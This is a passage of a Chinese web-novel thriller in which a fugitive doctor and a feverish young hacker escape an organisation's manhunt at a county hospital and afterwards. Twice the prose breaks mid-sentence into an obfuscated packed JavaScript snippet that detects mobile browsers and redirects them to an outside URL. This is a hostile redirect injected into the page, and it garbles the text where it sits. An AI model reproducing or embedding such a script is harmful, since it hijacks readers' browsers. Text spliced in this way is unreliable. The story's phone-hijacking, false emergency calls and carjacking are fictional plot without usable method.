“还三十分钟?还你也算不出来?” “人家一发□□过来,你连灰都剩不下,当然算不出来。” 刚才那个豪情万丈的自己,现在看起来简直就是个因为压力过大而精神失常的疯婆子。 什么“顶级特工”,分明是“顶级炮灰”。 她抬起头,绝望地看向副驾驶。 那里缩着她的“最强搭档”、“赛博上帝”、“世界唯一的BUG”——袁问。 此时此刻,这位BUG小姐正裹着那件满是馊味的军大衣,怀里死死抱着那台没电了的电脑。 因为冷,她正把手缩在袖子里,像个刚进城的智障儿童一样,眼神清澈且呆滞地看着亓默。 “姐……咋停了?” 袁问吸了吸鼻涕,“不是去杀穿他们吗?” 亓默看着她。 看着这个连离合器都踩不利索、被骂两句就只会哭、干吃咖啡粉以为自己在省电的……精神残疾巨婴。 这就是她的底牌? 这就是那个能“咬断电线”的电耗子? 别逗了。 这就是个累赘。是个只要断了网、断了奶,就只能原地等死的废物。 袁问总是在合适的时候印证亓默的判断。 猎豹黑金刚在国道上疾驰。 副驾驶上,袁问不再敲代码了。 她蜷缩成一团,怀里还死死抱着那台电脑,但身体在剧烈地颤抖。 “咳咳……咳咳咳……” 从下午开始,她的咳嗽就没停过。不是那种清嗓子的咳,而是那种要把肺咳出来的、深层的撕裂声。 亓默起初以为她是冻着了,把暖风开到了最大。 专心开车和当个人肉电子狗。 直到袁问突然一阵剧烈的痉挛,整个人歪倒在亓默的肩膀上。 “袁问?” 亓默单手扶着方向盘,伸手去摸她的额头。 烫手。 像是在摸一块烧红的炭。至少40度。 “咳……姐……我喘不上气……” 袁问迷迷糊糊地哼唧着,呼吸急促得像是个拉破了的风箱,喉咙里发出可怕的“嘶嘶”声。 亓默猛地踩下刹车,靠边停车。 她打开阅读灯,捏住袁问的下巴,查看情况。 嘴里的烫伤确实好了,只剩下粉红色的疤痕。 但袁问的嘴唇紫得吓人——这是缺氧。 亓默把耳朵贴在袁问的胸口听了一下。 肺里全是啰音。 像是有水在沸腾。 这一路的严寒、熬夜、吃冷食是催化剂。 这孩子的肺,罢工了。 “草。” 亓默狠狠砸了一下方向盘。 这比外伤更麻烦。 “姐……我是不是……要死了……” 袁问烧得神志不清,眼角流下眼泪,“代码……还没跑完……” “闭嘴。留着点气。” 亓默重新发动车子,油门踩到底。 “死不了。找个大夫。” 县医院,急诊大厅。 头顶的监控探头闪烁着红光,像是一只不知疲倦的红眼睛。 亓默知道,只要踏进这个大门,脸上的伪装会被卸掉,出现在这个公共摄像头的视野里,利维坦就会看见。 但她没得选。 袁问的嘴唇已经紫了,肺部啰音重得像是在煮粥。她是医生,但她不是CT机,也不是化验室。她需要抗生素,需要确定肺部感染的程度,需要氧气。 “无名氏,急诊内科,加急。” 亓默扔下最后一叠现金,推着轮椅上的袁问进了急诊室。 抽血、皮试、挂水。 流程走得很慢。每一秒钟的等待,都在亓默的神经上拉一刀。 这里离组织的核心控制区很远,组织就算坐火箭来也需要时间。 她在赌。 赌袁问能快点开出药来。 “快点……再快点……” 亓默看着别人输液管里的液滴,手心全是冷汗。 只要拿到药,她就能带着袁问走。 一个多小时。 亓默站在急诊大厅的落地窗前,看似在看手机,余光却死死锁定了外面的停车场。 一辆,两辆,三辆。 三辆没有任何标识的黑色 SUV,无声无息地堵住了医院的正门和急救通道。 没有车牌。没有下来大队人马。 紧接着,诡异的事情发生了。 急诊分诊台的护士接了个电话,脸色一变,开始收拾东西。 旁边的那个看骨折的大爷,手机响了,接起来听了两句,一脸惊恐地瘸着腿往外跑。 甚至连在那打扫卫生的阿姨,都像是收到了什么指令,推着车匆匆离开了。 清场。 组织在利用某种手段,正在把这里的无关人员清空。 他们要把这里变成一个真空的笼子。 方便抓人,也方便处理尸体。 亓默拿出手机看了一眼。 无服务。 信号被屏蔽了。 “来了。” 亓默收起手机,眼神冷了下来。 外面的真空圈正在成型,再不走就是瓮中之鳖。 但在跑之前,她必须先戳瞎那只眼睛。 她猛地转身,没有直接冲向楼梯,而是几步跨到了分诊台旁边的弱电井盖前。 那里的门虚掩着,里面闪烁着路由器和交换机的指示灯。 “砰!” 亓默一脚踹开门,手里匕首寒光一闪。 没有什么技术破解,没有代码植入。 她直接伸手,一把攥住那捆贴着“安防监控专用”标签的光纤束。 手腕发力,狠狠一绞,再用力一拽。 “崩——!” 光纤断裂的脆响。 头顶那只闪烁着红光的摄像头,变成了死鱼眼。 整栋大楼的视频监控画面,在这一秒全部变成了雪花屏。 戳瞎了眼,她才转身冲进抢救室。 护士正拿着刚打印出来的化验单和 CT 袋子走过来,嘴里还在念叨:“刚才那个姑娘的家属呢?肺部感染挺严重的,医生开了……” “给我。” 亓默一把夺过护士手里的片子和化验单,扫了一眼,直接塞进了袁问死死抱着的那个电脑包夹层里。 这是后续治疗的说明书,不能丢。 然后,她走到病床前。 袁问刚打了一针强效退烧针和头孢,药效上来了一点,正迷迷糊糊地哼唧。 “姐……我不难受……” 亓默看了一眼输液袋。 刚滴了三分之一。 够了。 这一针下去,血液里的血药浓度足够撑几个小时。剩下的治疗,只要离开了这个鬼地方,她自己也能做。她是医生,不是只会排队等叫号的傻子。 “闭嘴。别睡。” 亓默拔了针。 她也不管回不回血了,一把掀开被子,将半死不活的“电耗子”从床上扛了起来。 亓默没有往外跑。 外面是网兜。 她拖着袁问,直接钻进了旁边的防火楼梯,向上狂奔。 急诊科能清场,是因为人少且流动性大。 但楼上的住院部,住满了走不动的重病号、陪护的家属、刚做完手术的病人。 那里有几百号人。 组织再牛逼,也不可能在几分钟内把几百号瘫痪在床的病人清空。 人,就是掩体。 与此同时,地下三层,审计处。 巨大的环形屏幕上,原本清晰的数十个分屏监控画面,瞬间全部变黑,跳出了红色的[NO SIGNAL]。 “嚯。” Auditor挑了挑眉,手里的可乐罐停在半空。 “物理断网?够狠的。看来她知道我在看着。” 他没有丝毫慌乱,甚至觉得有点意思。 “Knight,你的猎物进暗区了。” 他在通讯频道里说了一句,然后手指在键盘上飞快敲击,调出了基站控制台。 “既然你把公家的眼睛戳瞎了,那我就借私人的眼睛用用。” 【技术逻辑重构】 他输入了一串底层指令: > Protocol: HIVE (蜂巢) > Target: Base Station ID_4921 (县医院覆盖区) > Action: Push Silent-Wakeup Packet (推送静默唤醒包) > Exploit: Camera_Driver_ZeroDay (绕过指示灯物理层漏洞) 这是一种极度侵犯隐私、但在理论上完全可行的手段。 利用运营商基站的最高权限,向区域内所有手机发送一条特殊的“系统更新握手包”。利用手机底层驱动的通用漏洞,在不点亮屏幕、不亮起“录像绿点”的情况下,强制后台开启摄像头推流。 “系统,”Auditor 把身体靠回椅背,双脚优雅地搭在控制台上,抿了一口可乐,“干活了。” “接管半径100米内所有移动设备的视频流。开启实时人脸识别。” “把那些垃圾过滤掉,我只要结果。” 屏幕闪烁。 海量的数据流开始涌入。 Auditor根本不看那些画面,他只盯着屏幕中央的[Match Found] (匹配结果)进度条。 系统开始高速运转。 系统没有感情,它忠实地执行着命令,去分析每一帧画面里的像素。 然而,下一秒。 原本疯狂滚动的进度条卡住了。 报警声此起彼伏,弹窗如雪片般飞来。 [WARNING: Low Confidence] (置信度低) [WARNING: Object Unidentified] (物体无法识别) [WARNING: Visual Obstruction] (视觉遮挡) “嗯?” Auditor皱了皱眉。 “怎么回事?几百个探头,抓不到两张脸?” 他有些不耐烦地坐直身子,”我看看怎么个事?“ 窗口弹出。 Auditor的表情瞬间凝固了。 紧接着,他嫌弃地把身体猛地往后一仰,差点把可乐扔出去。 “……这他妈都是些什么玩意儿?!” 画面A(系统判定:疑似人脸轮廓): 一片粉红色的、充满了褶皱的肉色画面。 那是手机被主人压在身下,摄像头紧贴着肚皮或者是屁股。 画面B(系统判定:疑似眼部特征): 一个巨大的、黑洞洞的深渊,周围长满了茂密的杂草。 那是“死亡视角”。手机被随手扔在枕头边,仰拍。 画面是主人熟睡时的鼻孔特写。随着呼吸,那几根粗壮的鼻毛在高清镜头下随风摇曳,甚至还有一颗晶莹的鼻屎在闪闪发光。 画面C(系统判定:不明生物): 一只正在舔镜头的猫。 粗糙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068522|195178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的舌头倒刺刮擦着麦克风,发出“沙沙”的噪音,伴随着主人震天响的呼噜声,构成了立体的精神污染。 Auditor的嘴角疯狂抽搐。 他是个有洁癖的人。 他原本期待看到的是充满科技感的猎杀画面,结果系统喂给他吃了一顿“人类返祖行为大赏”。 “关掉……快关掉!!” Auditor厌恶地挥手,仿佛隔着屏幕闻到了那边的口水味。 “这群低等生物……睡觉就不能有个像样的姿势吗?!” 这就是现实。 虽然技术通天,虽然他能黑进每一台手机。 但在凌晨三点的住院部,大部分手机都在经历它们一天中最悠闲的时刻——要么在裤兜里看黑屏,要么在床头看鼻毛。 能拍到有效正脸的,寥寥无几。 “系统,停止推流。” Auditor揉了揉眉心,感觉眼睛受到了工伤。 “靠不住。这群肉体凡胎根本靠不住。” 他重新拿起麦克风,语气里带着被恶心到了的暴躁: “Knight。” “别指望天眼了。那帮平民的手机除了拍鼻毛什么都拍不到。” “她们在盲区里。靠你了。” 五楼,呼吸内科住院部。 走廊里静悄悄的,大部分病房都熄灯了,只有护士站亮着灯。 亓默把袁问塞进走廊尽头的开水间,关上门,留了一条缝。 “在这待着,别动。” 她需要情报。 她需要知道组织带了多少人,什么配置,到了哪一层。 她在楼梯口的防火门后停下。 通过门缝的反光,她看到了楼下的动静。 四楼的楼梯口,两个黑影正在安装什么东西。 红外感应装置。 他们手里拿着短管自动步枪,带着夜视仪,动作极其专业。 这就是组织的风格。 他们要把这栋楼变成一个只能进不能出的铁桶,然后一层一层地往上梳。 亓默缩回身子,靠在墙上,呼吸微乱。 热武器。 虽然装了消音器,但那是实打实的杀人家伙。 只要被发现,就是死。 怎么办? 硬拼是找死。她只有一把手枪,对面是一整个行动单位。 逃? 楼下被封了,跳楼袁问必死。 亓默的大脑飞速运转。 既然敢带枪进来,是因为这里被信号屏蔽了,变成了信息的孤岛。 他赌的是“无声解决”。 只要没有动静,警察就不会来,明天早上这里只会多两具“因病去世”的尸体。 但如果……动静闹大了呢? 大到让他不敢开枪,不敢动用热武器? 亓默看向了走廊两边的病房。 那些紧闭的门后,睡着几百个无辜的平民。 “既然你们不想见光。” 亓默嘴角勾起一抹狠戾的笑。 “那我就给你把灯打开。” 亓默溜进了一间三人病房。 呼噜声此起彼伏。 她轻手轻脚地从一个大叔的床头柜上,拿起了正在充电的手机。 信号? 住院部的高层,信号屏蔽可能覆盖不到,或者会有漏网之鱼。 她看了一眼屏幕。 一格信号。足够了。 不需要解锁。 紧急呼叫 ->110。 电话接通的瞬间,亓默深吸一口气,压低声音,语气却充满了极其逼真的、极度的恐慌: “喂?!110吗?!救命啊!!” “县医院住院部五楼!有恐怖分子!!” “他们拿着冲锋枪!他们在楼道里装炸弹!!我不认识他们!他们见人就杀!!快来啊!!” 说完,她没有挂断,而是直接把手机扔进了床底下的深处。 让那边的接线员听着这边的动静。 然后,她又偷了个手机,迅速溜出病房,回到开水间。 “袁问。” 亓默拍了拍袁问滚烫的脸,把手机塞进她手里。 “醒醒。干活了。” 袁问迷迷糊糊地睁开眼:“……姐?” “报警。” 亓默盯着她的眼睛,语速极快: “就像你在网吧看见警察查身份证那样。” “哭。喊。说有坏人要杀你。说有枪。” “哪怕你是装的,也要给我装得像真的!” 袁问哆哆嗦嗦地按下110。 接通。 “哇——!!警察叔叔救命啊!!” 袁问这一嗓子带着哭腔和高烧的嘶哑,简直听者伤心闻者流泪: “有人拿着大枪进来了!!他们在杀人!!我在五楼开水间!!我不敢出去!!呜呜呜……” 两次报警。 不同的人声,不同的位置。 同样的描述:枪、炸弹、恐怖分子。 这就不是恶作剧了。 这是一级警情。 是指挥中心会直接拉响最高警报、调动特警队甚至武警的大案子。 楼下。 正在带队推进的Knight突然按住了耳机。 他的脸色变了。 “队长!”手下的声音带着一丝慌乱,“指挥中心截获了报警信号!两通电话!确认是枪支袭击警情!” “市局的特警队已经出动了!预计4分钟到达!” Knight停在四楼和五楼的楼梯拐角。 他举着枪,枪口正对着五楼的防火门。 只要他一脚踹开门,就能把上面的两个人清理掉。 但是…… 4分钟。 如果他现在开枪,如果发生了交火。 等特警队一到,看到满地的弹壳和尸体,那就是泼天大案。 组织再手眼通天,也没法在众目睽睽之下把这事儿抹平。 “操。” Knight这种几乎没有情绪波动的人,此刻也忍不住骂了一句。 他知道,亓默就在上面。 那个女人在用一种最无赖、最肮脏,但也最有效的方式在威胁他: “你敢开枪吗?” “你敢让警察看见你的枪吗?” 26. [Lamb] 羔羊 09 五楼走廊。 Knight按着耳机,听着里面传来的警笛声,脸色阴沉。 但他没有像亓默预想的那样全员撤退。 猎物就在上面。 “B组,C组。” Knight 的声音极快且冷酷: “带上所有热武器和战术装备,立刻撤离。不要和警方接触。” “A组分两个人,拿走所有热武器和战术装备,其余留下,继续搜索。” 他摘下手套,露出指节上厚厚的老茧,眼神如刀: “不需要枪。徒手抓捕。” “那个女人身上有伤,还带着个累赘。只要不把动静闹大,在警察控制现场前,把人给我拖走。” 这才是顶级猎手。 你掀桌子?行。 那我就在混乱中,无声无息地掐断你的脖子。 楼上。 亓默听到了越来越近的警笛声。 她扶着烧得发软的袁问,躲在开水间的门后。 透过门缝,她看到了令她头皮发麻的一幕: 两个穿着黑夹克的人正在快速下楼,但还有几个人留下了。他们还在搜索,眼神冷冷地扫视着每一个角落。 “没走干净……” 亓默咬牙。 这帮疯狗,居然想在警察眼皮子底下动手。 现在的混乱程度还不够。 她需要所有人——无论瘫痪的还是刚开完刀的,都不得不给老娘回光返照。 亓默掏出那把P320。 她没有打人,而是抬起手,对着走廊天花板上的消防喷淋头。 “砰!砰!砰!” 三声枪响。 玻璃泡破裂。 高压消防水瞬间喷涌而下,夹杂着刺耳的火警铃声。 整个走廊瞬间变成了水帘洞。 “啊——!!” “开枪了???!” “不知道啊,没听过?什么东西炸了?” “着火了!快跑啊!!” 这下彻底炸锅了。 冷水浇在身上,加上枪声的威慑,哪怕是腿断了的病人也挣扎着从床上爬起来往外爬。家属们推着轮椅、架着担架,像无头苍蝇一样冲进走廊。 这才是亓默要的“浑水”。 “走。” 亓默把袁问的头按在自己怀里,用身体挡住她,混在湿透的人群中往楼梯口挤。 水雾弥漫,视线模糊。 周围全是尖叫和推搡。 突然。 一只大手,从人群的缝隙中伸出来,死死扣住了亓默的左肩。 那里是她的旧伤。 “唔!” 亓默痛得冷汗直冒,差点跪下。 她猛地回头。 一张陌生的、毫无表情的脸出现在水雾中。那是组织留下的抓捕手。 对方没有废话,另一只手成刀,直切亓默的颈动脉。 这要是平时,亓默能有一百种方法弄死他。 但现在,她左手废了,怀里还护着个袁问,腰上还有刚缝好的伤口。 亓默只能侧身硬抗。 “砰!” 一记重拳狠狠砸在她的肋骨上。 剧痛让她眼前一黑。 她没法还手,她必须护着袁问。 她借着被打的力道,身体一转,把那个抓捕手撞向旁边推着移动病床的护士。 “哐当!” 病床翻了,那个抓捕手被绊了一下。 “跑……” 亓默推了一把袁问,声音嘶哑。 但没跑两步,前面又冒出一个黑影。 对方一脚踹在亓默的小腹上。 这一脚太重了。 亓默整个人飞了出去,撞在墙上,手里的枪滑落到了地上,瞬间被乱跑的人群踢远了。 她感觉肠子都要断了。 她蜷缩在湿滑的地上,大口喘息。 “带走。” 那两个黑衣人围了上来,一左一右架起亓默,另一个人去抓地上的袁问。 在混乱的人群中,这看起来就像是“好心人”在搀扶摔倒的伤员。 没人注意。 这就是专业的绑架。 没有枪,打不过,跑不掉。 亓默看着那个伸向袁问的手。 袁问已经烧得没意识了,像个布娃娃一样被人提起来。 一股暴戾的怒火冲破了疼痛的阈值。 亓默突然暴起。 她张开嘴,像条疯狗一样,死死咬住了左边那个人的耳朵。 用力。 在那个人惨叫之前,狠狠一撕。 “啊!!!” 那人捂着耳朵惨叫,松开了手。 亓默顺势抽出那人腰间的战术笔,反手扎进右边那个人的大腿根部的重要部位。 动作快、狠、脏。 趁着两人吃痛松手的瞬间,亓默扑过去,一头撞开那个抓袁问的人。 她没有恋战。 她打不过这三个人。 她一把抱起袁问,也不管什么姿势了,直接撞开旁边的防火门,滚下了楼梯。 楼下,特警的战术手电光芒已经照了上来。 “不许动!警察!” 上面的三个黑衣人停住了脚步。 他们看着滚下去的亓默,又看了看冲上来的特警。 他们不敢追了。 再追,就真的要和特警脸贴脸了。 楼道里,强光手电刺眼。 “不许动!警察!举起手来!” 特警的枪口对准了楼梯转角。 亓默没有任何迟疑。 在那束光照过来之前的黑暗死角里,她极其隐蔽地松开了手。 那把备用弹夹顺着裤管滑落,无声地踢进了角落的垃圾堆里。 然后,她立刻举起双手,把整个身体暴露在灯光下。 她的怀里还紧紧护着那个烧得人事不省的袁问。 “别开枪!我们是病人家属!!” 亓默的声音里带着极度的惊恐和哭腔,身体还在微微发抖,一半是疼的,一半是演的: “上面……上面打起来了!!” 一名特警冲上来,一把将她们拉到盾牌后面,迅速搜身。 没有武器。 只有一部破手机,和一个死死抱着电脑包、浑身滚烫的小女孩。 “情况怎么样?几个人?什么特征?”特警厉声问。 亓默喘着粗气,指着楼上,语速飞快且具体: “全是穿黑衣服的男的!有枪!还有刀!” “他们见人就打……我看见有个医生被打了……” “对了!其中有一个领头的!” 亓默眼神闪烁了一下,加了一句致命的细节: “他耳朵流血了!好像被人咬掉了一块肉!我看得很清楚!” 这个细节太具体了。 特警立刻对着耳麦大吼:“注意!嫌疑人有耳部外伤!重复,嫌疑人耳部受伤!” 真好,这就当是你给我留下的纪念品吧。 她们被带到了医院外围的临时安置点。 警戒线外,警灯闪烁。 一个民警拿着登记本走过来。 “姓名,身份证号。” 亓默抬起头。 但她的眼神像是受了惊吓。 这时候报假名是最安全的。比如范水水。 她知道,组织的人还没走远,或者他一定会黑进警务系统查看今晚的记录。 既然赢了,就要赢个彻底。 既然要戳肺管子,那就得往死里戳。 “身份证……都在楼上包里,跑得太急没拿。” 亓默的声音虚弱,但吐字清晰: “我叫亓默。” “那个字不好写,我来吧。” 民警愣了一下,递给亓默登记册。 “那个女孩呢?” 亓默看了一眼怀里烧得直哼哼的袁问。 “她叫袁问。” “我们要去大医院……她的肺炎很严重……” 民警看了一眼袁问那张烧得通红的脸,还有那个死都不撒手的电脑包,心软了。 谁会怀疑一个带着重病妹妹死里逃生的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068523|195178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐姐是恐怖分子呢? “电话留一个。回头可能需要你们配合调查。” 亓默报出了一串数字。 哎,组织配发的,亓默专用手机号。 民警记下了。 “行了,先去那边等着救护车转运吧。” 亓默点点头,扶着袁问走向救护车停靠区。 她在心里冷笑。 等组织看到这份出警记录,看到“亓默”和“袁问”这两个名字,再看到那个他们自己的发的手机号的时候…… 那个表情一定很精彩。 这不叫自首。 这叫宣战公告。 警戒线边缘。 混乱还在继续。 亓默并没有真的去等救护车。上了救护车就等于进了系统,那就真跑不掉了。 她拖着袁问,慢慢挪到了阴影里。 她的目光锁定了一个正慌慌张张往停车场跑的男人。穿着白大褂,手里拿着车钥匙,挂着一脸想逃离这个是非之地的表情。 是个值班医生。 “机会。” 亓默眼神一冷。 刚才那个楚楚可怜的受害者消失了。 取而代之的,是那个刚咬掉别人耳朵的恶鬼。 医生拉开一辆帕萨特的车门,刚坐进去。 后车门开了。 一股寒风夹杂着血腥味灌了进去。 “别动。” 亓默的声音从后座传来。 “开车。带我们出去。” …… 半小时后。 帕萨特在出城的检查站被拦下。 “停车!接受检查!” 医生抖得像筛子。 亓默在后座死角,剪刀尖顶着他的脊椎。 “自然点。敢求救,咱们一起死。” 特警手电照进来。 “干什么的?” “我是……这的医生……”医生带着哭腔,“医院出事了……我想回家……” “后面是谁?” “我侄女……发烧了……” 特警看了一眼后座那个烧得不省人事、还抱着个电脑包的小姑娘。 确实是病号。 而且刚才在医院里登记过名字,是受害者。 “走吧。路上慢点。” 特警挥手放行。 帕萨特驶出警戒线,融入了茫茫的夜色。 车子开出县城,上了没监控的乡道。 开了大概二十公里,一片荒凉的防风林。 “停。” 亓默命令。 医生一脚刹车,车还没停稳就开始求饶:“大姐……我求你了……钱都给你……” “钱先给我,然后下车。” 亓默没废话。 她押着医生走到路边的排水沟旁。 “转过去。” 医生刚转身,亓默抬手,一记精准的手刀砍在迷走神经上。 医生哼都没哼一声,软绵绵地倒了下去。 亓默没杀他。 杀人会升级警力搜捕力度,失踪人口还能拖延时间。 她把医生拖进干涸的排水管深处,用他的皮带把手脚捆死,嘴里塞了团布。 这地方偏,等他醒过来,磨断皮带或者被人发现,至少是明天下午的事了。 这就够了。 亓默回到车上。 她把车里的行车记录仪扯下来,把 SD 卡撅断扔进草丛。 又翻出医生的手机,关机,扔进几百米外的水塘。 做完这一切,她才看向后座。 袁问还在昏迷。 但她的手,哪怕是在无意识中,依然死死地抠着那个黑色的电脑包,指关节发白。 包里装着那台电脑,和那个该死的盒子。 就像那是她的氧气罐。 亓默坐进驾驶位,调整座椅。 帕萨特的油箱还有大半箱油。 那辆倒霉的猎豹黑金刚,现在应该还在医院停车场吃灰,那是留给警察和组织的诱饵。 “走了。” 亓默挂挡,车子冲进黑暗。 27. [Lamb] 羔羊 10 地下三层,审计处。 这里的空气依然只有恒温恒湿的22度,弥漫着昂贵的雪松香氛,和外面那个混乱、血腥、满是消毒水味的县医院仿佛处于两个次元。 巨大的环形屏幕上,正滚动播放着从警方内网截获的执法记录仪画面。 画面里,亓默满身是水,怀里护着袁问,一脸惊恐地对着特警喊:“我是病人家属!上面杀人了!” “噗嗤。” Auditor坐在他的人体工学椅上,手里拿着一罐刚开的可乐,没忍住笑出了声。 他指着屏幕,回头看向站在身后的两个人。 一个是刚从前线撤回来、脸色阴沉得能滴出水的Knight。 一个是已经沦为副手、正端着保温杯假装看戏的老邢。 “精彩。” Auditor晃了晃手里的可乐,语气里带着那种特有的、令人作呕的优越感: “真是精彩绝伦的演出。奥斯卡欠她一座小金人,真的。” 他转过椅子,那双藏在紫色墨镜后的眼睛,肆无忌惮地打量着Knight。 “Knight,你是怎么跟我保证的?‘不需要枪,徒手抓捕’?” “结果呢?” Auditor摊了摊手,一脸无辜地开始甩锅: “我把饭喂到你们嘴边了。可你们带着全套战术装备,居然被一个女人用火警喷头和报警电话给玩废了?” “这能怪我吗?” Knight 站在那里,一脸颓废。 他没有受伤,但他身上的那种肃杀之气比受了伤还可怕。他的手套已经被他摘下来攥在手里,捏得咯吱作响。 “她利用了规则。” Knight 终于开口,声音沙哑冷硬,像是石头摩擦: “她报了警。她留下的那个电话号码,是我们的一家空壳公司。” “如果我不撤,特警队就会顺着那个号码查到组织的资金流。到时候,整个 C 区网络都会暴露。” “我在止损。” “哎哟,止损。” Auditor摆了摆手,一脸不屑: “借口。老邢以前也这么说。结果呢?老邢现在在这儿给我倒咖啡。” 老邢在旁边咳嗽了一声,想打圆场,但Knight 猛地转头,那眼神像是在看死人,吓得老邢把话咽了回去。 “够了。” 就在这时,全息投影幕墙再次亮起。 那些模糊的高层影子出现了。 令人窒息的低气压瞬间笼罩了整个审计处。 Auditor收起二郎腿,老邢藏起保温杯,Knight低下了头。 “这就是你们给出的答卷?” 那声音听不出喜怒,但每个字都像重锤。 “Auditor你提供了情报,但低估了亓默的狡猾。” “Knight,你拥有绝对武力,却被‘警察’这两个字束缚住了手脚。” 那声音顿了顿,随后说出了一句让在场所有人都没想到的话: “关于县医院的报警记录,我已经让人处理了。” Knight猛地抬头。 “就在三分钟前,市局的服务器发生了一次‘意外’的数据覆写。” 那个苍老的声音有点不耐烦: “那条出警记录消失了。那个电话号码变成了空号。昨晚发生的一切,在官方档案里,只是一次‘醉酒闹事’引发的误报。” “为什么?”Knight忍不住问,“如果发通缉令,利用警方……” “愚蠢!” 高层冷冷地打断了他: “发通缉令?让满大街的保安和群众盯着她们?” 那个苍老的声音透着一股不容置疑的傲慢: “一旦她们被常规警力捕获,那个硬盘就会被作为‘关键物证’贴上封条,锁进市局的证物室,进入漫长的司法程序。” “到时候,你是打算拿着介绍信去跟他们申请‘借阅’,还是打算带兵去强攻执法单位?” 当然,这只是台面上的话。真正让高层忌惮的,是二人一旦被捕,系统的底层逻辑、五年前的清洗名单、以及组织那些见不得光的交易,瞬间就会变成呈堂证供。那将是灭顶之灾。组织可以凌驾于规则之上,但绝不能与执法单位正面硬撞。 “现在,她们同样忌惮我们,忌惮我们可以名正言顺的拿走她们手上的证据。趁着两边心照不宣,不想牵扯司法单位,权力机关。” 屏幕上的影子晃动了一下,将那份不可言说的恐惧,转化为了一种冠冕堂皇的组织纪律: “没必要和正规单位产生不必要的摩擦和行政纠纷。” “我们要的是绝对回收,不是跨部门的扯皮。” “我要的是那个硬盘完好无损地回到这里,还有她们闭嘴。而不是让她们坐在审讯室里,对着记录仪把我们的秘密抖落得干干净净。” 语气骤然转冷,带着终极的裁决: “既然常规途径风险不可控,那就不要让常规力量参与了。” “我已经批复了文件。以后的任务区域,从现在起会被划为‘国防科技重点实验室第9号测试场’。” “接下来的行动,名义上是‘新型无人机实弹战术验证’。” “Knight,那里现在是你的主场了。只要不出圈,里面炸翻天也是‘实验数据’。” “你之所以失败,是因为你顾忌动静太大,怕惊动地方。” “现在,这个顾忌解除了。” “在那里,没有摄像头,没有目击者。你可以动用特种无人机和反器材武器。只要把东西拿回来,把尸体埋深一点,就没人知道发生了什么。” Knight的挫败感渐渐消失,随后,一股嗜血的兴奋涌了上来。 限制解除了。 没有警察,没有法律。 只有猎杀。 “明白。”Knight的声音里透着寒意,“我会带上‘死神’小队。” “Auditor。” “在。” “我要让她们以为自己逃脱了追捕,然后放松警惕。” 高层缓缓说道: “官方看不见她们。但死神,时刻悬在她们头顶。” “是。”Auditor推了推墨镜,“幽灵对幽灵。这才有意思。” “散会。” 投影消失。 审计处恢复了死寂。 Knight 戴上手套,转身就走。 这一次,他的步伐里没有了犹豫。他要去武器库,去取那些平时绝对不敢在国内使用的大家伙。 老邢看着Knight 的背影,只觉得后背发凉。 以前还要顾忌法律和影响,现在……这是要开战了。 Auditor重新打开一罐可乐,看着屏幕上那个微弱的信号预测点。 “小朋友们。” “恭喜你们,警察不会找你们麻烦了。” “你们可以去买汉堡,可以去逛商场,只要别被我看出来。” “但是……” Auditor看着 Knight离去的方向,眼神变得怜悯: “如果不小心被重机枪扫成筛子,可别怪我没提醒你们。” 那辆帕萨特被遗弃在一百公里外的一条枯水河沟里,车牌被拆下,车身盖满了枯树枝和烂泥。 接下来的路,只能靠脚走,或者是那种只收现金、不给票、专门拉农民工和村里人的“黑大巴”。 深夜,某城乡结合部的破败街道。 两个身影缩着脖子,走在阴影里。 亓默戴着一顶从路边摊买的黑色毛线帽,帽檐压得很低,只露出一双警惕的眼睛。黑色的口罩遮住了大半张脸。 她的一只手扶着身边的人,另一只手背着那个沉重的电脑包。袁问走不动了,她的两条腿像是灌了铅,每走一步都在打晃。 “姐……”袁问的声音很虚,像是随时会断气。 亓默停下脚步,看了一眼。 这里是城市的边缘,那种连路灯都坏了一半的“城中村”。垃圾遍地,电线私拉乱接像蜘蛛网。 “再坚持一下。”亓默的声音透过口罩传出来,显得有些闷,“前面有个烂尾楼。” 住不起旅馆,也不敢住。 钱要省着用,每一分都是救命的。 半小时后,她们终于到了。 一家名为“宏图商贸城”的烂尾楼,原本规划是个大商场,结果开发商跑路了,只剩下一个混凝土框架和几面漏风的玻璃墙。 这就是她们今晚的“家”。 亓默找了个背风的角落,地上铺了一些废弃的广告布和硬纸板。 “坐下。”亓默把袁问按在纸板上,把军大衣给她裹紧,“等着。我去弄点药。” 袁问的肺炎还在。 她现在全靠硬扛,但呼吸声已经重得像拉风箱。 “姐,你要去哪?”袁问拉住亓默的衣角,手在发抖。 “药店。”亓默拍了拍她的手,冰凉,“就在街对面。那种私人小诊所,安防很烂。我去借点抗生素。” 深夜两点,街对面的“仁爱诊所”早就拉下了卷帘门。 亓默像只黑猫一样无声无息地绕到了后巷。 这种老房子的后窗通常只有几根生锈的防盗栏。她掏出根路边拽的铁丝,伸进窗缝,精准地拨开了插销。 如果是在以前,这种入室盗窃的行为亓默是不屑干的。 但现在,她是个亡命徒。道德?那玩意儿能治肺炎吗? 翻窗入室,诊所里弥漫着消毒水的味道。 亓默没有开灯,她拿着一只遮住了大部分光线的小手电,动作极其熟练地翻找药柜。头孢曲松钠、左氧氟沙星、地塞米松。 她拿着药瓶,借着微弱的手电光,仔细核对着之前在医院抢来的那个 CT 袋子里的胶片和化验单。 肺部纹理增 